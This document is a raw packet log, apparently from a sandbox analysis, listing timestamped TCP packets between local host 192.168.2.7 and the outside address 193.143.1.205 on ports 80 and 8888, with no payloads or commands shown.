Jan 11, 2025 02:05:46.838704109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.838943958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838954926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838965893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838978052 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.838989973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839000940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839010000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839023113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839023113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839023113 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839035034 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839040995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839049101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839087009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839087009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839247942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839262009 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839274883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839286089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839296103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839308023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839330912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839386940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839589119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839601040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839612961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839622974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839633942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839637995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839646101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839659929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839672089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839680910 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839684963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839696884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839703083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839714050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839725971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839737892 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839746952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839746952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839746952 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.839751959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.839776993 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840261936 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840275049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840286016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840297937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840308905 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840320110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840331078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840342045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840353966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840364933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840377092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840389013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840399981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840400934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840400934 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840401888 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840411901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840432882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840461016 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840795040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840806961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840820074 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840831041 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840842962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840852976 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840854883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840864897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.840884924 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.840925932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841115952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841128111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841140032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841243982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841280937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841294050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841305017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841315985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841326952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841340065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841350079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841363907 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841365099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841377020 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841386080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841389894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841403008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841413975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841424942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841435909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.841447115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841447115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841447115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.841553926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.847970009 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.893471003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893486023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893501043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893603086 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.893608093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893697977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.893837929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893850088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893861055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893903017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893922091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893934965 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893948078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.893970966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.893970966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.893970966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.912147045 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912163019 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912169933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912359953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.912368059 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912386894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912398100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912416935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912429094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.912452936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.912538052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925266027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925281048 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925287008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925337076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925348997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925373077 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925391912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925403118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925410032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925501108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925501108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925504923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925515890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925529003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925535917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925625086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925631046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925638914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925642967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925677061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925738096 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925757885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925770044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925782919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925797939 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925837994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925837994 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.925905943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925918102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925930023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925937891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.925950050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926012039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926012039 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926111937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926124096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926136971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926143885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926155090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926166058 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926176071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926201105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926201105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926284075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926304102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926316023 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926326036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926331997 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926338911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926345110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926351070 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926420927 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926573038 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926584005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926590919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926597118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926609039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926615953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926621914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926733017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926733017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.926927090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926938057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926945925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926963091 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926970005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926980972 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926986933 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926992893 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.926999092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927001953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927001953 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927006960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927141905 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927159071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927169085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927253962 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927264929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927268982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927278042 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927284956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927293062 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927304029 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927318096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927326918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927335024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927335024 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927428961 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927591085 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927603006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927620888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927632093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927643061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927649021 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927654982 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927660942 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927674055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927678108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927678108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927683115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927879095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927891016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927892923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927892923 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927900076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927911043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927917957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927923918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927928925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.927964926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.927964926 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.928204060 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.928283930 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928294897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928302050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928312063 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928318977 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928329945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928334951 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928340912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928347111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928353071 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928359032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928364992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928370953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928376913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928389072 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928395033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928400040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928406000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.928412914 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.928414106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.928448915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.928466082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.928648949 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.931907892 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.996704102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996718884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996731043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996788025 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.996817112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996829987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996880054 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996889114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.996891975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996905088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:46.996939898 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:46.997100115 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.004160881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004177094 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004184008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004236937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004249096 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004268885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.004281044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.004429102 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004443884 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004456043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.004548073 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.012814999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.012828112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.012839079 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.012906075 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.012916088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.012927055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.012943029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.012943029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013015985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013026953 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013034105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013045073 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013052940 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013166904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013166904 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013171911 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013185024 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013195992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013201952 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013207912 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013261080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013273001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013278961 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013389111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013389111 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013397932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013408899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013422012 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013432980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013442993 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013454914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013493061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013493061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013493061 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013607979 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013621092 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013633966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013644934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013650894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013662100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013724089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013724089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013724089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013837099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.013859987 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013873100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.013880014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.014282942 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.024082899 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.143337011 CET	49699	80	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.610914946 CET	49706	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.616138935 CET	8888	49706	193.143.1.205	192.168.2.7
Jan 11, 2025 02:05:47.616261959 CET	49706	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.616528988 CET	49706	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 02:05:47.621294975 CET	8888	49706	193.143.1.205	192.168.2.7
